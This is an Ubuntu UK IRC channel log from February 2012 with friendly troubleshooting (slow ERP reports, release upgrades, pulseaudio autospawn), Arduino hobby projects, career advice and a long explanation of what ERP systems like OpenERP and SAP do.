<ikonia> diplo: I missed your response earlier, any reason you think it's cpu over something else ?
<ikonia> diplo: you'll get historical data better with sar rather than real time troubleshooting
<diplo> No not really, I'm just not very good at diagnosing these issues, disc is a lot faster with hdparm
<mrevell> http://memegenerator.net/instance/14986844
<ikonia> diplo: that's fine, it's not a critisism, just trying to get background info
<ikonia> diplo: tell me about these reports that are taking time to run, what sort of thing are they and how are they generated
<diplo> Trying to find ways of working out how to find on the web is being rather fruitless unless you have a fair understanding to start with i think
<diplo> From a acient ERP system written in a language called Simple
<diplo> Uses Cisam DB backend
<ikonia> diplo: yes, I appreciate unless you look for how to fix $something searching for $whats_doing_this can be a problem
<diplo> On old Server 5+ years old
<diplo> takes 14 mins to run
<diplo> New server takes 55 mins
<ikonia> diplo: is the data needed to create these reports ?
<diplo> Yep, reads from the cisam db
<ikonia> diplo: ok is the cisam db, hosted locally or on a remote server ?
<diplo> Local
<diplo> It's basically exactly the same setup as old server apart from new hardware
<diplo> Same OS version
<ikonia> diplo: ok, so an obvious first question for me is bench mark how quick you can get the data from the database
<ikonia> diplo: check it on the old machine, same query on the new machine
<ikonia> diplo: that way you know where if the delay is caused by the fetch or not and you can move onto the next thing
<diplo> Good thinking, can write a simple program just to see if it's DB related
<diplo> See, a fresh mind helps.. ta!
<ikonia> diplo: if it is/is not the DB we can then zero in on the DB, or dump it and move on to the next thing
<diplo> Sounds good, trying to dive to deep to early
<diplo> thanks ikonia
<ikonia> no problem, let me know if you need a hand
<diplo> My simple skills are lacking somewhat but I don't think you really want to see that code :)
<diplo> Simple by name, simple by nature as well.. really bad :)
<ikonia> as I've never heard of "simple" I suspect I would be useless
<diplo> heh, it was used by a fair few companies. They have all since died and our company now owns/bought the license
<diplo> So unless you work for us or have an old system that still uses the code you never will
<brobostigon> ii shall have to do a mumbuntu test, with the new unity, and see what my mum thinks.
<popey> I would recommend trying it yourself first
<brobostigon> i am doing so now.
<popey> and appraising yourself of all the features and shortcuts
<brobostigon> agreed,
<bigcalm_lappy> http://failblog.org/2012/02/23/epic-win-photos-win-wwf-win/
<bigcalm_lappy> </lunch_break>
<davmor2> MOOO!
<s-fox> Boo! This is the ghost of s-fox @ davmor2 :D
<davmor2> aarrrrrrrrgggggghhhhhhhhhhhhh!
<s-fox> >:)
<MooDoo> hi s-fox you ghosty you
<s-fox> o/
<MooDoo> :)
<s-fox> How are you MooDoo  ?
<MooDoo> s-fox: all the better from seeing you :) lol
<popey> just found a laptop in a drawer running maverick
<brobostigon> :)
<Laney> impressive battery life
<s-fox> You forgot where you put the laptop popey ?
<popey> haha
<popey> first boot it wants to upgrade to natty âº
<popey> originally installed back in 2008
<popey> probably reinstall, would be quicker than going 10.10 -> 11.04 -> 11.10 -> 12.04
<Laney> upgrading might catch bugs
<popey> true
<popey> but its a very slow machine
<popey> meh, its not busy, might as well upgrade
<czajkowski> davmor2: having fun ;)
<davmor2> Aye
<s-fox> MooDoo,  And I to0 for seeing you...
<bigcalm_lappy> popey: good battery life
 * bigcalm_lappy refuses to read up
<AlanBell> anyone tried the LTS to LTS upgrade?
<brobostigon> not yet, but will have to on my vps.
<popey> AlanBell: yes
<popey> on my hp microserver
<gord> lts -> lts is tested iirc
<gord> so i'd expect it to work well
<brobostigon> so it is unlikely, i will trash my vps ?
<gord> upgrading is not something to take likely no matter how well tested if you ask me
<brobostigon> agreed, i will backup.
 * czajkowski tickles gord hello there...
<gord> suspicious...
<bigcalm_lappy> Suspicious tickles?
<MooDoo> suspicious minds?
<popey> aw drat
<bigcalm_lappy> Saw that coming :)
<brobostigon> suspicious feet.
<MooDoo> brobostigon: no that's happy feet ;)
<brobostigon> MooDoo: :)
<popey> this laptop was last booted on 7th oct 2011
<popey> squillions of updates
<AlanBell> DJones: if using paypal you need to do the maths, for tranferring Â£2k to belgium it was much cheaper to use the bank, for Â£40/month or something like that from some small island somewhere paypal is a lot cheaper
<bigcalm_lappy> Bit busy in the Light House this afternoon
<AlanBell> pics plz
<DJones> AlanBell: Customers are mostly uk/usa/europe, bank transfer works out cheapest anyway, boss was considering allowing people to pay from their paypal account, but after what he's read, that idea has been binned
<s-fox> Forum is back up btw,  not that anyone was asking about it
<AlanBell> yeah, bank transfers feel expensive, I think it is Â£17 or something (cheaper with internet banking) but it works out cheaper overall
<AlanBell> for a company that tracks and sometimes initiates the downfall of nations, they have very poor coffee here
<DJones> AlanBell: We're the recipient, so we don't get charged, just the payer gets charged
<AlanBell> DJones: yeah, we switched to paypal for one customer as the bank was effectively charging them a 100% surcharge
<DJones> AlanBell: Ouch
<gord> AlanBell, where is "here"?
<bigcalm_lappy> davmor2 looks to be picking a fight with his laptop
<MooDoo> bigcalm_lappy: Â£10 on the lappy
<MooDoo> L:)
<bigcalm_lappy> Haha
<davmor2> MooDoo: come over here a minute
<MooDoo> davmor2: no thanks i value my chin
<czajkowski> bigcalm_lappy: davmor2 mrevell one of ye whack gord please!
<gord> whyyyy
<czajkowski> why'd ya think!
<gord> i'm too fantastic, its affecting your ability to think?
<bigcalm_lappy> Heh
<bigcalm_lappy> davmor2 was closest
 * AlanBell supects bug 938764 or similar
<lubotu3> Launchpad bug 938764 in unity (Ubuntu) "hud steals alt key from within virtualbox sessions" [High,Confirmed] https://launchpad.net/bugs/938764
<davmor2> czajkowski: he's now in the corner crying why did I hit him
<gord> bloo hoohoo
<AlanBell> gord: I wouldn't give their coffee a AAA rating
<czajkowski> davmor2: my alt screen is driving me crazy
<czajkowski> crazier
<bigcalm_lappy> Hazar! last.fm has finally blessed my ears with some dub-step \o/
 * bigcalm_lappy slowly vibrates in his chair
<diplo> blessed bigcalm_lappy !!!
<diplo> I can't call it blessed!
<diplo> :)
<bigcalm_lappy> All hail the mighty dub-step!
<bigcalm_lappy> The only way I can justify working here is that I know I can do a further 3-4 hours once I get home. And be more productive than the rest of the day
<exaem> Off topic conversation here but do any of you guys use a DE safety razor?
<diplo> Don't know what one is so I'll go with no
<davmor2> czajkowski: simple solution don't use an alternate screen :P
<jpds> exaem: No I do not use a German safety razor.
<gordonjcp> DE?
<bigcalm_lappy> Quitter
<kazade> alright peeps
<kazade> I don't suppose anyone has had any trouble upgrading to Precise?
<kazade> http://pastie.org/private/e8bsbi51pcdozhmf6avqa :(
<popey> hi kazade
<popey> kazade: what mirror you using?
<kazade> hi popey
<kazade> main
<kazade> I'll try UK, one sec
<kazade> aha!
<kazade> weird, I'd already tried two mirrors...
<kazade> UK worked though, thanks popey
<popey> cool
<kazade> how's things with you anyway popey? Enjoying Canonical?
<popey> yes âº
<andylockran> anyone at phpuk1@?
<gordonjcp> can someone remind me how to stop pulseaudio without it constantly respawning, please?
<popey> gordonjcp: /etc/pulse/client.conf
<popey> autospawn = no
<gordonjcp> cool, thanks
<popey> np
<gordonjcp> cool, I can start a jack server with no ports configured *at all* and add hardware in dynamically with alsa_in and alsa_out
<brobostigon> question, if i do and install, from a persistant live-sd, do the changes i have made, carry, when i do an install from that?
 * bigcalm falls into his office
<AlanBell>  choo choo
<popey> brobostigon: what, kind, of, changes?
<popey> celeron still upgrading to 11.04..
<bigcalm> What will do you do with it?
<popey> upgrade to 12.04 eventually
<bigcalm> I meant what use will you have for it?
<daubers> Evening
<bigcalm> Morning
<popey> dunno
 * daubers puts his feet up and plays skyrim
<brobostigon> popey: networks setting, wifi specficlly.
<brobostigon> networking*
<popey> yeah, i think so
<brobostigon> thank you, that will make things easier.
 * popey makes home made burgers
<daubers> #
<mgdm> Laney: can we have pandoc 1.9 backported to Oneiric? :)
<Laney> yes
<Laney> I await your request :-)
<mgdm> I'll play with LP after my talk, then :)
<Laney> well, it's not even in precise yet
<mgdm> ah
<mgdm> I'm rather hoping that cabal installs it reasonably fast, as I need 1.9 for about 20 mins from now
<Laney> . o O ( or Debian )
<mgdm> well this is an Oneiric laptop
<mgdm> the Mac at work has 1.9 from the package, which is handy
<Laney> the pipeline is rather empty
<bigcalm> mgdm: oauth 2.0 in php, done any?
<mgdm> I wrote stuff using dzslides, which isn't in 1.8
<mgdm> bigcalm: nope
<bigcalm> Oh well
 * bigcalm wanders into it blindly :D
<bigcalm> Have decided to use it to auth API calls
<mgdm> we're looking at it, but haven't implemented yet
<bigcalm> http://code.google.com/p/oauth2-php/ is what I'm going to attempt to use
 * daubers puts some music on and tries to sort out his arduino programming workflow
<MartijnVdS> \o/ 'duino
<daubers>  /o\ workflow
 * Laney flows all over
<bigcalm> Tea!
<MartijnVdS> daubers: What kind of workflow do you have? :)
<daubers> none at the mo :)
<MartijnVdS> daubers: I've not yet written huge programs, so 'apt-get install arduino' is still enough for me :)
<MartijnVdS> (12.04 has 1.0!)
<MartijnVdS> Arduino programs can't be too big anyway ;)
<MartijnVdS> daubers: I'm hooking one of mine up to a WRT54GS (which has on-board serial ports) and some sensors
<MartijnVdS> daubers: WRT -> collectd on NAS -> pretty graphses
<daubers> MartijnVdS: I have 3 versions of arduino on this laptop as I haven't moved some of my sketches to 1.0
<MartijnVdS> daubers: Ah, I got my first arduino only a few weeks ago, when 1.0 was already out
<daubers> ah :)
<MartijnVdS> Only had to translate one example sketch (for a temperature/pressure sensor)
<MartijnVdS> (Wire.read/write vs receive/send
<daubers> yeah#
<daubers> I'm just finishing off the hackspaces door
<daubers> Then need to start work on an open source security system :)
<MartijnVdS> OSSS
<MartijnVdS> daubers: hall effect sensors/reed switches on the windows and doors, that kind of thing?
 * popey hands bigcalm a php bug 61095
<lubotu3> Launchpad bug 59057 in tomboy "duplicate for #61095 Crash on tomboy applet starting" [Critical,Fix released] https://launchpad.net/bugs/59057
<MartijnVdS> daubers: lots of loud piezo buzzers?
<popey> bah
<popey> https://bugs.php.net/bug.php?id=61095
<MartijnVdS> popey: fun! ;)
<daubers> MartijnVdS: Some of them, yep. RFID door access, considering some kind of nightingale floor system too (for giggles)
<MartijnVdS> daubers: what, not laser tripwire?
<diplo-> evening all
<MartijnVdS> http://hackaday.com/2011/04/19/laser-trip-wire-the-bare-essentials/
<daubers> http://en.wikipedia.org/wiki/Nightingale_floor
<MartijnVdS> daubers: ouch my ears
<MartijnVdS> daubers: still.. tripwire lasers would be a cool security feature
<daubers> MartijnVdS: I'd use accelerometers instead though
<MartijnVdS> Very "Welcome to our underground lair"
<penguin42> daubers: Now, don't spray them with stuff from DIYBIO
<daubers> I'm not that mean!
<penguin42> really?
<penguin42> popey: Wonderful bug
<daubers> penguin42: This evening anyway
<bigcalm> What have I missed today?
<bigcalm> Apart from my productivity
<MartijnVdS> Caffeine?
<bigcalm> Had quite a bit of that
<bigcalm> Hope that I get to sleep tonight
<MartijnVdS> bigcalm: Matt Smith on Top Gear next Sunday
<bigcalm> Ah, I've lost interest in TG :(
<MartijnVdS> also in the doctor?
<popey> yeah, i have lost interest too
<popey> annoyingly i have two tickets to go and see it
<MartijnVdS> popey: http://www.reddit.com/r/lolphp
<popey> hah
<bigcalm> Eh?
<MartijnVdS> bigcalm: ^
<bigcalm> MartijnVdS: reading the link, maybe I don't understand reddi
<bigcalm> t
<MartijnVdS> bigcalm: It's a lot of links with discussions attached
<MartijnVdS> bigcalm: this "subreddit" (/r/lolphp) is about PHP being laugh-worthy
<bigcalm> OK
<bigcalm> Everybody will hate on something
<bigcalm> But why direct the link to popey when he's not a PHP coder?
<MartijnVdS> he posted the link here, and on g+
<MartijnVdS> so I thought he might be interested :)
<bigcalm> I see
<popey> i thought it lolworthy
<popey> I have written php in my time :D
<popey> I actually wrote a system that does what twitter does âº
<popey> had a phone hooked up to a serial port which received texts and made them into posts on a php page
<MartijnVdS> Aww, do you feel cheated out of your millions? ;)
<popey> âº
<bigcalm> popey: sorry for saying that you were not a PHP coder
<popey> oh I'm not really âº
<MartijnVdS> .. you play one on tv?
<popey> http://web.archive.org/web/20020619225132/http://clunky.net/
<MartijnVdS> .. but late at night, when you're alone..?
<popey> http://web.archive.org/web/20020924122254/http://clunky.net/
<popey> better
<popey> initially it was sms to email then I made it so you could 'blog' from it
<popey> only 10 years ago âº
<MartijnVdS> Cool
 * MartijnVdS was writing a customer database for an ISP back then
<diplo-> Anyone suggest me a good domain name, can't think of anything :(
<diplo-> Just want it for spare/testing
<popey> thisismydomainnamefortestingstufnowgoaway.com ?
<MartijnVdS> daubers: no-use.com ?
<MartijnVdS> uhr
<MartijnVdS> diplo-:
<popey> testytestington.com
<MartijnVdS> oh that's owned by a domain farm/extortionist
<diplo-> lol
<popey> i wish they would all die in a fire
<popey> seriously
<MartijnVdS> yes, they should
<MartijnVdS> diplo-:     No match for "diplo-matic.co.uk".
<diplo-> Yep, quite a few in the past i wanted
<popey> hah, like that
<diplo-> wanted diplo for years, was hoping the guy who had it would give up but no luck
<MartijnVdS> diplo-: ^
<diplo-> not to bad, not sure :)
<diplo-> used to have apartington.co.uk
<diplo-> Wonder whether i just renew that
<AlanBell> evening all
<MartijnVdS> \o AlanBell
<daubers> \o/
<daubers> Finally got my RFID reader stable
<bigcalm> Hi AlanBell
<AlanBell> http://www.youtube.com/watch?v=NKtFJnGB5i4
<MartijnVdS> daubers: http://www.sparkfun.com/tutorials/319
<daubers> MartijnVdS: Swank :)
<diplo-> MartijnVdS, olpid.co.uk ?
<diplo-> Short
<monsterwizard> Hello
<mattt> evening
<MartijnVdS> \o
<monsterwizard> Is it possible to make it into the IT industry without a comp sci degree?
<popey> yup
<JamesTait> monsterwizard: Absolutely.
<monsterwizard> Because I think I would like to get a degree eventually
<monsterwizard> but now I want to work
<monsterwizard> I found an apprentiship scheme
<diplo-> monsterwizard, I have no qualifications myself
<monsterwizard> ah this is giving me hope
<KrimZon> I dropped out of uni
<monsterwizard> After what year?
<KrimZon> I didn't get very far at all
<KrimZon> mostly cause I missed all the start stuff and couldn't get back in
<monsterwizard> What job did you get afterwards?
<KrimZon> I did web development for a small company at a crap wage until I had enough on-paper experience for recruiters
<AlanBell> I pursued a degree at Nottingham University
<AlanBell> never quite caught it
<KrimZon> I just really wanted to work with computers and got impatient at learning stuff
<JamesTait> monsterwizard: I did a BSc in Applied Computing. Most of what I studied was just a formalisation of stuff I already knew.  Most of what I've used professionally was stuff I'd learned in my spare time.
<MartijnVdS> AlanBell: I know Nottingham University through Sixty Symbols and Periodic Videos :)
<AlanBell> monsterwizard: where in the country are you looking?
<monsterwizard> UK
<AlanBell> MartijnVdS: yeah, it wasn't as fun as that when I was there
<monsterwizard> I mean, I am willing to study for the certs.
<AlanBell> what is the apprentiship scheme?
<monsterwizard> Here.
<monsterwizard> http://www.zenos.com/assets/downloads/Zenos-Timeline-19-24-2011.pdf
<monsterwizard> I mean, it's very windows centric to my dislike.
<monsterwizard> I would like to be a linux sys admin
<monsterwizard> but begger cannot be choosers
<AlanBell> taking on an apprentice is an interesting option for us that has been suggested
<AlanBell> don't think I would want someone doing that course though
<monsterwizard> Oh
<monsterwizard> How come?
<AlanBell> same reason you don't want to do it :)
<monsterwizard> haha!!
<AlanBell> we are a Free Software consultancy
<monsterwizard> oh neat
<monsterwizard> Do you think it would be a good idea to ring companies and ask if they'll take on an apprentice?
<monsterwizard> the thing is, I'm over 19
<AlanBell> yes
<diplo-> monsterwizard, I was 24/25 when i first got into pc's
<diplo-> Hadn't really touched one before that
<monsterwizard> it just worries me that many people require CS
<AlanBell> only for graduate recruitment
<AlanBell> outside of that it is all about experience
<popey> +1
<monsterwizard> would open souce count?
<monsterwizard> or what if I set up a site or promote a github account?
 * mattt prefers spaghettie sauce
<monsterwizard> wait
<MartijnVdS> monsterwizard: if you can prove you can code (by pointing at open source repos with your name on (parts of) it), that would help
<monsterwizard> suppose  HR people wont care
<AlanBell> then walk away
<AlanBell> recruitment is a two way thing, you have to decide it is a company you want to work for
<mattt> to be fair, my company's HR team wouldn't have a clue about github
<mattt> but that doesn't mean it's not a good place to work
<AlanBell> yeah, that wouldn't come up in an HR interview really
<MartijnVdS> mattt: it'd mean you wouldn't get through the first filter thoguh
<AlanBell> but HR are normally there to line up the candidates and stop the recruiting managers getting things wrong
<mattt> yeah, having an empty CV is kinda tough
<monsterwizard> In that case I'l work on a website show casing projects
<mattt> i feel you need a friend or connection to line something up for you
<mattt> that's how i got started :P
<monsterwizard> lol no friends #
<Laney> https://wiki.mozilla.org/FreeSoftwareOnResumes:Writing
 * Laney made use of the advice here recently
<Laney> ;-) ;-)
<AlanBell> well if anyone is looking for good things to learn about I would recommend OpenERP, vTiger and Alfresco :)
<zleap> what does erp stand for ?
<monsterwizard> cheers Laney
<AlanBell> Enterprise Resource Planning
<zleap> thanks
<mattt> jeez, that's pretty precise stuff :/
<AlanBell> it is accountancy for money and stock, and everything a business does really
<zleap> ah cool
<zleap> sounds good
<zleap> i guess commercial offerings are very expensive
<AlanBell> and version 6.1 was released today http://www.theopensourcerer.com/2012/02/22/how-to-install-openerp-6-1-on-ubuntu-10-04-lts/
<AlanBell> zleap: eyewateringly so
<zleap> ah]
<ali1234> how much does openerp training cost?
<zleap> will there be a version for 12.04
<AlanBell> zleap: sure, it installs fine on 12.04 (without the werkzuig upgrade)
<zleap> ok
<AlanBell> ali1234: we got training included with our partner fee, I think it is less than â¬2,000 for a week on site in Belgium
<ali1234> full training takes 10 days
<ali1234> 5 "user" and 5 "developer"
<ali1234> also why would i become a partner of something that i don't use, don't know how to use, and do even understand what it is supposed to do?
<AlanBell> no, I am wrong http://www.eventbrite.com/event/1971959183
<daubers> Weeee!!! Hackspace door thing reporting over mqtt :D
<AlanBell> yeah, I did the 5 developer days, theopensourcerer did the 5 admin days
<ali1234> i'm only one person
<AlanBell> you don't need to do the training
<ali1234> i thought it might help me to understand what the point of it is
<AlanBell> it might do :)
<ali1234> i don't know anything about running a business
<ali1234> i'm a developer
<mattt> you guys are confusing me
<mattt> so is there no UK ubuntu global jam?
<AlanBell> I thought we might do some online stuff
<AlanBell> ali1234: there are books and things on it, I think we have a stack of materials on it if you are interested in finding out more about it
<ali1234> i don't want to know about the internals
<ali1234> i want to know what it does
<ali1234> what is it supposed to replace?
<AlanBell> hmm, ok. Gimmie a sec . . .
<AlanBell> actually we should expose a 6.1 server
<AlanBell> I will put up a demo system and give a bit of a tour at some point soonish
<mattt> AlanBell: online stuff would be cool
<AlanBell> yeah, having a play with one is so much better than reading marketing drivel about it
<ali1234> i've already done that
<AlanBell> what, read the drivel?
<ali1234> no, played on a demo system
<ali1234> the question i'm left with at the end is "what's the point?"
<AlanBell> oh ok
<mattt> ali1234: "enterprise", man
<ali1234> all these enterprise management systems are the same
<ali1234> they have modules where you can define things
<AlanBell> yup
<ali1234> and things contain other things
<mattt> ah well, clearly people use them, otherwise alanbell would be in trouble
 * daubers makes hot chocolate
<ali1234> and there's no obvious point to any of it
<AlanBell> so the point is that every business is slightly different, has at least one really odd thing that nobody else does (or so they think)
<ali1234> yeah i can agree with that
<ali1234> and that one thing ends up as yet another module for the erp
<AlanBell> so they scale in an odd way, do orders with 500 line items on them or whatever
<ali1234> wait you'll have to explain that
<AlanBell> so that becomes a module that gets redistributed if it is generally useful
<ali1234> "orders with 500 line items on" why would they do that?
<AlanBell> or sometimes what they want is completely loopy
<ali1234> the only reason they'd do that is if they were using some complicated software that nobody really understands to do everything
<ali1234> if they were just writing invoices by hand, they could put whatever they wanted on them
<AlanBell> because someone is purchasing on one order all the lightfittings and assocaiated electricals for a supermarket, office, warehouse and carpark for example
<ali1234> i don't understand :(
<AlanBell> anyhow, not to get into details, an ERP system requires a certain amount of consultancy on how to fit it into the business and get best value from it
<zleap> ali1234, how come we managed to do all this before computers
<AlanBell> so which bits to do first, which bits to optimise, which bits really don't matter etc
<AlanBell> and then things like custom layouts for invoices, orders, quotes, requests for quotation, tender response documents etc etc
<ali1234> so basically the answer to "what is the point" is different for every single person who asks
<ali1234> in which case, isn't the software therefore overly broad?
<AlanBell> and some people do invoices in landscape, which is a bit nuts, breaks the layout and needs redesigning etc.
<diplo-> ali1234, I used to work for an electrical wholesaler, we would get  quotes for huge jobs, so basically you could have a module to import those quotes into it
<AlanBell> and then you go back and turn on other modules, and get it integrated into other departments
<popey> 22:28:19 < ali1234> "orders with 500 line items on" why would they do that?
<popey> greetings card companies
<AlanBell> yes, the software is overly broad, it is a jack of all trades
<popey> they have orders which have hundreds of line items of 3 of this, 10 of that, 5 of the other
<popey> (as an example)
<ali1234> popey: ok, that's unavoidable. how can a piece of software help in this situation?
<popey> it can track stock
<popey> manage delivery times
<popey> invoicing, billing, payrol
<popey> manage your stock
<popey> manage the lorry drivers
<popey> deal with your customer complaints
<ali1234> how does any of  this reduce the number of lines on the order?
<popey> allow customers to make orders themselves, in bulk
<popey> perhaps, if automated, yes
<popey> if they do automated orders each week for example, and do 'just in time' delivery
<popey> (as all the supermarkets do)
<popey> the number of items on an order is irrelavent
<popey> its just a piece of data
<AlanBell> ali1234: it doesn't reduce the number of lines, it just happened to be for one customer the thing that made us say "you do what??"
<shauno> reducing lines is easy.  if our frontend is left to itself, it comes up to nearly 20 lines per item (once you include inbound, outbound, service orders that all fit in one PO)
<AlanBell> every customer has that thing, it is always different
<shauno> well, easy is maybe the wrong word, but certainly automatable
 * popey used to work on SAP which is basically proprietary OpenERP
<popey> (and then some)
<ali1234> but what does it do out of the box?
<AlanBell> so for them the transaction cost of doing an invoice was irrelevant, it doesn't matter if you spend half a day preparing an invoice for over Â£100,000
<popey> run your business
<popey> produce management reports
<AlanBell> for a business with an invoice value of Â£50 then the transaction cost of processing an invoice matters a lot more
<ali1234> (22:17:39) ali1234: i don't know anything about running a business
<popey> automate workflow
<popey> do you drive?
<ali1234> no
<popey> do you ever use trains or buses?
<ali1234> yeah
<AlanBell> analogy police are standing by
<popey> ok, so the train company uses an erp system, maybe for example to manage payrol
<popey> no analogy, factual âº
<popey> They have hundreds of workers all over the country
<popey> all on different pay scales, working different hours
<popey> they need a way to track who works when, and pay them the right amount
<popey> account for holidays and sick leave
<popey> the erp system _can_ do that for example
<ali1234> ok so that's ONE thing it does
<popey> but that's just one part of thebusiness
<popey> yes, exactly
<ali1234> what else does it do?
<mattt> seriously?  :/
<popey> with SAP, anything really âº
<popey> HR, deal with hiring and firing of people
<popey> managing the maintanance of trains and stations or buses or whatever
<popey> manage the income from parking fees, tickets etc
<popey> anything/everything
<AlanBell> the trick is to choose what bits to turn on, and not go wild and do everything all at once
<popey> exactly
<mattt> it says right on the homepage what this thing does
<AlanBell> mattt: yeah, but that is marketing :)
<popey> Every mid to large company uses an ERP system of some sort
<popey> all of them
<mattt> AlanBell: i just don't get where this conversation is going :)
<AlanBell> it is a framework on which to build an ERP system that fits your business
<popey> every oil company uses sap, microsoft use it, ford, ferrari, bmw.. all of them
<Daviey> popey carried out an exhaustive survey and discovered this.
<popey> I did indeed.
<daubers> (vodafone uses sap)
<popey> well, i saw the list of customers and it was big
<popey> even HMRC and councils use it
<popey> and the RNLI sadly
<AlanBell> popey: what is the size of the smallest company that SAP would sensibly go in?
<popey> they have a small business product that they bought for that end of the market
<popey> SAP Business One
<popey> but generally it's insanely expensive.
<popey> the payrol product license/maintenance cost is part based on per-seat and partly based on ya %age of your payroll bill!
<AlanBell> eww
<AlanBell> that is . . . I don't even. . .
<popey> you also pay extra per developer you have
<popey> and which 'engines' you turn on
<AlanBell> so what do SAP do with data on payroll bills of all big companies I wonder
<popey> and if you flip the switch to enable "extensions" to add functionality, you'll get charged more whether you use it or not
<shauno> I kinda hope they cut the rnli a good deal :/
<daubers> \o/ extortion rackets
<shauno> (I'd be surprised, but stress the word 'hope' :)
<AlanBell> so there is a significant market opportunity in the "cheaper than SAP" segment of the ERP space
<mattt> i just got some spam from the rnli the other day
<mattt> included a fancy sticker, which you can only use if you donate
<mattt> :P
<zleap> i have heard of SAP
<AlanBell> shauno: RNLI are a well funded organisation, their head office is very very big these days
<mattt> zleap: good, so you have been in an airport then
<zleap> lots of jobs requiring sap skills ears ago
<zleap> years
<popey> haha mattt
<popey> yeah, most european airports âº
<zleap> ah
<zleap> hmm
<zleap> dunno i saw Redhat running on the highways agency display thing at a service station a few months ago
<mattt> really?  where was this
 * daubers wonders why popeys sentences seem to end in a with a hat degrees
<AlanBell> anyhow, OpenERP is quite good, and thanks to Canonical having the most complicated payroll structure the world has ever seen OpenERP is kinda good at payroll now apparently
<zleap> segemore
<zleap> running gnome, being a geek i kinda noticed it was gnome,
<diplo-> popey, SAP :(
<mattt> zleap: really?  that's kind of odd advertising out there
<gordonjcp> AlanBell: heh
<zleap> well the back end was clearly runningLinux,  and displaying info on the webpage but it had that error thing firefox comes up with when it restarts firefox and can't find the right page, ya know the one that says this is embarrasing
<diplo-> Where i used to work, our SAP install was 1-2 mill install, ended being 7 million :/
<zleap> thing is i was just passing throughotherwise i could have fixed it by clicking the right option :D
<mattt> zleap: oh, i thought you meant red hat was advertising out there, misread that totally :)
<zleap> nooo
<popey> thats cheap diplo-
<zleap> may have been fedora or redhat,  probably the former but heyy,  not running windows
<diplo-> If they had spent 2-300k with the company I'm with now, they would have had all the stuff they needed
<diplo-> Not for a small company like that
<zleap> i have found a really good use for a raspberry PI, the rugby club wanted to hook a pc up to  one of the tvs to display messages, fixtures, news etc,  so the raspberry PI would work great for that
<diplo-> zleap, I think that's exactly what they are going to be great for
<diplo-> Stuff like that
<zleap> yeah
<mattt> zleap: if you want to grab rugby results: http://rugby.io/
<zleap> well this will be local results
<mattt> which reminds me, i need to hurry and get my screen scraper set up for super15 :P
<mattt> (starts tomorrow)
<zleap> cool
<zleap> is that site updated in real time
<zleap> i need south west one west results
<mattt> not really real time, i scrape once an hour
<zleap> which probably won't be real time unless we keep sending in the score
<mattt> yep
<zleap> I am sure if I have latex + beamer + ssh I can update a presentation in real time using ssh
<ali1234> hmm ok, i have to say that openerp is actually a lot less confusing than any of the similar systems i've tried before
<zleap> i thought also i f I run openareana-server ont he same PC we can play multi player games at the rugby club :D
<zleap> PC i mean raspberry pI
<diplo-> ali1234, Start diving into it a bit
<diplo-> It gets more confusing :)
<diplo-> Good, but confusing
<ali1234> i just mean from a UI POV
 * zleap has a big big game saturday Devon Cup semi final
<diplo-> yeah, I've got to teach it to some very non techie people shortly
<ali1234> i mean you can go through the sections and it's just obvious what they do
<diplo-> I'm hoping the guys say the same thing
<diplo-> Got to demo it to them soon
<zleap> I should be able to convince the rugby club to invest in one,  its not as if the raspberry PI is gonna be expensive really
<AlanBell> from a programming perspective it is a bit like django but more focussed and less flexible.
<diplo-> Not looked at that side at all yet, back on it this weekend
<AlanBell> less flexible isn't a bad thing, it is the same as more consistent
<diplo-> Getting my PC back off my parents and will set up a VM on it so i don't have to keep bringing my work laptop home
<ali1234> django is too flexible
<gordonjcp> AlanBell: what, openerp?
<AlanBell> gordonjcp: yes. well no. The OpenObject framework.
<AlanBell> which is what openERP is written in
<gordonjcp> oh, okay
<gordonjcp> spike that on the pile of yet more things to play with when I get time..
<dogmatic69> when downloading .exe's and running them on wine. Is it possible to get windows viruses?
<ali1234> sure
<AlanBell> wine must be pretty good by now
<bigcalm> Sleeeeeeeeep
<diplo-> gn all
#ubuntu-uk 2012-02-24
<penguin42> apparently today Google thinks I'm in Callow End - which is great, since I'm nowhere near it
<penguin42> and as far as I know have never been there
<ubuntuuk-planet> [Jono Bacon] Ubuntu Global Jam Q+A Videocasts Tomorrow! - http://www.jonobacon.org/2012/02/24/ubuntu-global-jam-qa-videocasts-tomorrow/
<ubuntuuk-planet> [Jono Bacon] Ubuntu California Walnut Creek Global Jam - http://www.jonobacon.org/2012/02/24/ubuntu-california-walnut-creek-global-jam/
<popey> morning all
<AlanBell> morning
<gordonjcp> hello
<ubuntuuk-planet> [Jono Bacon] Good vs. Bad Trophies - http://www.jonobacon.org/2012/02/24/good-vs-bad-trophies/
<MooDoo> morning all
<diplo> Morning all
<czajkowski> morning
<AlanBell> http://mulqueeny.wordpress.com/2012/02/21/young-rewired-state-2012-an-update/
<daubers> Morning
<czajkowski> bah waking up to crazy in the inbox
<czajkowski> DELETE is a wonderful key
<MooDoo> careful you don't get delete key finger czajkowski :)
<daubers> czajkowski: I saw that crazy... people are weired
<danfish> good morning..long time no me speak
<czajkowski> danfish: looking forward to the weekend ?
<daubers> danfish: How do
<danfish> yup - however I've not been around for a few days
<danfish> decided to play rubgy for the 1st time in 10 years and got a badly broken shoulder for my troubles
<MooDoo> danfish: ooops :D
<danfish> been in hospital having it fixed :(
<n1md4> Morning Ubuntarians :)
<czajkowski> danfish: oh dear
<danfish> I also have discovered I have an allergy to codeine, so pain relief is tricky
<AlanBell> hi danfish, that sounds bad :(
<danfish> AlanBell: not much fun, but more painful is the truly dreadful daytime TV.....
<AlanBell> guess you won't make it to the rugger at the weekend then?
<danfish> catching up on the news, ubuntu on android looks seriously cool - it's from the atrix isn;t it?
<danfish> AlanBell: might still make the rugby. Just moving is painful at the moment but getting better every day
<danfish> so I'll see how things are on Sunday morning
<DJones> danfish: Hoep the recovery goes well, what have you been given instead of codeine
<DJones> Hop even
<DJones> Grr
<DJones> HOPE
 * DJones replaces the keyboard
<danfish> DJones: thanks - anti-inflammatories and whisky ;)
<iclebyte> the engineer sat next to me has a cold and reckons gargling brandy for 3 minutes last night cured him.
<DJones> danfish: Heh, whisky always works
<JamesTait> Happy Fix It Friday everyone! :D
<brobostigon> good morning everyone
<mattt> morning morning
<brobostigon> morning mattt
<mattt> sup brobostigon
<brobostigon> mattt: nought much, just trying to wake up. and you?
<mattt> brobostigon: just doing that work thing :D
<brobostigon> :)
<AlanBell> danfish: how are you planning to get to the rugger if you feel up to it?
<ubuntuuk-planet> [Laura Czajkowski] Ubuntu Hour Dublin - http://www.lczajkowski.com/2012/02/24/ubuntu-hour-dublin-2/
<danfish> AlanBell: I was getting a lift anyway
<mattt> the timing of this rugby game is terrible :-/
<mattt> all northampton's good players play for england
<bigcalm_lappy> *grumble*]
<bigcalm_lappy> -]
